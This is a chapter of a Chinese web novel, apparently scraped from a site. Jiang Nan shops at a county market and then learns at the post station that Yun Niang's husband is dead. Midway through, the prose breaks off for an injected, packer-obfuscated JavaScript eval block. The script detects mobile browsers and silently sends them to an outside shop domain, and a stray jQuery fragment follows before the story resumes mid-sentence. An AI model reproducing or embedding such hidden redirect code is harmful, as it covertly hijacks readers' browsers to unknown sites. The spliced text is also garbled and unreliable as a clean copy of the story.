姜南从县衙出来时,已经日上三竿了,她开心地拿着手里的临时户籍,对准天上那灿烂的阳光,光晕描了纸的一圈,她反复看了以后,小心翼翼放进包袱里,护在胸口。
没想到她在县里第二天就办好了事儿,这下倒省钱了。
沿街的市集还未散,小贩们吆喝的声音都让姜南觉得格外好听,她哼着小曲儿,准备去逛逛县里的集,买些新奇玩意儿回家。
米行铺子里人倒不多,只有些许行人路过,会抓起一把米仔细看,随后撒回去,加上正是晌午了,太阳照的人懒洋洋的,许多店小二都靠在柜台上眯着眼睛打盹。
姜南随意走进一家粮食铺,小二随意招呼了两声便让她自己随便瞧瞧。姜南上下打量了一下店里的陈设,里头各式各样的米分门别类的用麻袋装着摆好,她走到装着绿豆的麻袋前,抓了一把绿豆看大小和有无虫眼。
米粮铺的粮食倒是精挑细选过的,大小匀称,几乎没有虫眼。想起可以把绿豆放进豆浆里头增加一丝风味,说不定会让豆浆更好喝。
只是现在磨豆浆还是原始的磨石,无法直接打出热乎的豆浆,绿豆与黄豆的组合可能放进锅里煮便要控制火候,加入绿豆虽然风味增加了,这翻车的风险自然也增加了。
不过姜南还是让小二称了十五文的绿豆,总要试试,尝个味儿才行。
脚才出米行,走上几步,隔了条巷子便踏入了布行。
来挑拣布料的大多是妇人,年轻的爱逛那颜色鲜亮一些的布料店,年老一些的则喜欢逛深沉一些的店。
每家店里头的风格也有不同的讲究。不像村里大多数人穿的灰青,靛蓝的衣裙,县里的姑娘们穿着会稍时尚一些,破裙上偶有些花纹图样,料子也好很多,垂坠感十足。
只是这价格也令人咋舌,姜南拿起一块枣红色的绢料,触手柔软,摸着顺滑,上头印着规则对称的白色团纹,是标准的做石榴裙的好料子。
谁知裁布的掌柜,拿着剪刀过来微笑道:“这匹绢一千五百文,娘子可要裁些做衣衫?”
吓得姜南轻轻地放回去,干笑道:“不,不了呵呵。”
那掌柜也不恼,继续回去裁他的料子去了。
县里布行里头的料子会比村里集市上的花样多,价格实惠,只因这一排都是布料店竞争力也太过大了,于是纷纷再打价格战。
但稍好些的料子却是差不多的价格,只有麻布,葛布,村里人常穿的料子便宜许多。难怪有货郎愿意在城里头进料子挑到村里卖,若是能卖个三五匹,这一趟赚的钱也有二三百文了。
姜南很喜欢葛料,她不挑颜色,只挑材质,葛料微软,厚薄适中,吸汗透气,穿着很舒服。
这时候的麻料却粗糙许多,但制成衣裳后,去小溪边浆洗捶打一番,也能贴身。
于是姜南咬牙买了一匹葛料,一匹麻料,到时候还问问二伯娘要不要,裁与她一些做衣裳,这便去了三百文。
扭脸她又逛到了肉行,肉不易存放,入春了天气也要回暖,买回去怕是也放不了几日要臭,何况草市里头也三天两头有肉卖,姜南便扇了扇鼻尖的肉腥味,出了肉行。
至于瓜果蔬菜,这里头摆着的还未必有乡下的新鲜呢,姜南走马观花,匆匆逛完了菜市。
最后便来到了杂货行,杂货行稀奇古怪的玩意儿就更多了,吃的用的,锅碗瓢盆,竹篮竹筐,草帽斗笠,还有小娃娃爱玩的草编螳螂蜻蜓等小玩意儿。
阿枣两岁了,应当玩不明白这些,年前买的拨浪鼓倒是很喜欢,玩久了也腻了,撒开手便好久没玩了。只是阿枣性子可能传了芸娘的,文文静静,村里娃娃喜欢玩的“竹马”,扑蝶的网兜,泥哨等活泼好动些的玩具,阿枣从来都是呆呆看着。
只有前阵子瞧二伯娘的小孙子拿了只精巧的风车,阿枣喜爱的不得了,又不能上手去抢,眼巴巴的看着同伴的风车迎着风“呼啦呼啦”地转。
偏偏阿枣很懂事,从不跟芸娘哭闹着讨要玩具。
瞧着货郎架子上随风轻轻旋转的小风车,姜南掏出钱袋,花了三文钱买了一个。
逛累了,姜南来到一座茶水铺子,卖茶水的娘子问:“要喝点儿什么?”
“一壶茶便好。”
一壶茶便是一文钱,姜南拿出水壶,问那茶摊的娘子道:“烦请娘子能否替我打壶水?”
那娘子应声过来接了水壶,不一会儿从水缸里头打了满满一壶水还给她,“娘子看可够?”
姜南感谢道:“够了够了,谢谢娘子。”
这种开在城门口的茶摊,自然用的不算是什么好茶叶,只是汉人自古以来,上至王公贵族,下到平民百姓,都爱喝茶。即便是乡野村夫,行脚过路,也宁愿花一文钱来这茶摊上喝上一壶茶水,让嘴里有个滋味,也提提神。
这茶摊开的位置,便很不错,生意也不错,一天下来也能赚个嚼用。
待姜南喝完茶,天色还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628069|206051||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
早,离财叔招呼回村搭车的时间还早得很,姜南便去完成此行的第二个目的——去县里的邮驿找是否有芸娘丈夫的信。
货郎年前来过几趟逛集后仍没带来他的信,让芸娘失望的心更加陷入无尽的黑暗。
这次恰逢姜南要来县里办事,芸娘便同她说要她亲自去邮驿那儿问有没有她的信。
邮驿的路倒是好找,离官道也近,姜南眼睛直勾勾地看着邮驿里头的人慢吞吞地翻开花名册,手指指尖放在上头一点点的往下挪。
“桃溪村?”
姜南忙答:“对,桃溪村,村里参军去的人不多,应当很好找。”
当兵的小卒原没有资格给家人寄信的,因为没有渠道,驿站的信件都是为朝廷和官家服务的,普通的士卒自然没有资格用。
但许多士卒为了给家里托家书,会委托训营的军官带上,或是某些靠谱的商队,运气好些能遇见换防的同乡回内地,这一封家书便承载着浓烈的思念,被士卒千叮咛万嘱咐的送上。
只是路上的缘故颇多,原本顺利的忽然改道了,人被事情牵绊着耽搁了等种种,能真正到手的家书,又有几封呢?
芸娘夜晚的泪从多到少,这毫无音讯的牵扯挂念搅动着心肠,一年了,自此她也认命了,只是实在还想再来博一次,就一次,再没有芸娘便也撂开手,再不纠结。
姜南在邮驿面前站着不过片刻,却仿佛过了几个世纪,一方面多么希望里头的官差能跟她讲有信,一方面神情十分焦灼的恨不得把那册子抢过来找。
里头那人似乎也看出来姜南的着急,找名儿的动作便加快起来。
忽然他的手指停下,问姜南道:“桃溪村村头第三排第四户芸娘?”
姜南心下雀跃,忙答:“对对对!就是她!”
那人让他等着,他又开始在一堆包裹里头找对应的信件位置。
姜南急的直跺脚,心想这人怎么这么墨迹?
良久,那人从很底下很底下压着的一堆包裹里头找到了芸娘的包裹并附上一封信,放在柜台上。
“嘶……怎么会压在这么底下呢?”他自言自语道。
但仔细瞧过那包裹以后,他面露出一丝异样的神情来,对姜南道:“娘子,这仿佛是一笔锡赉,也就是抚恤银子。”
“轰”的一声,姜南脑中一道惊雷,缓了半日,不可置信地开口问:“抚,抚恤银?”
那差役点头,“也就是死了。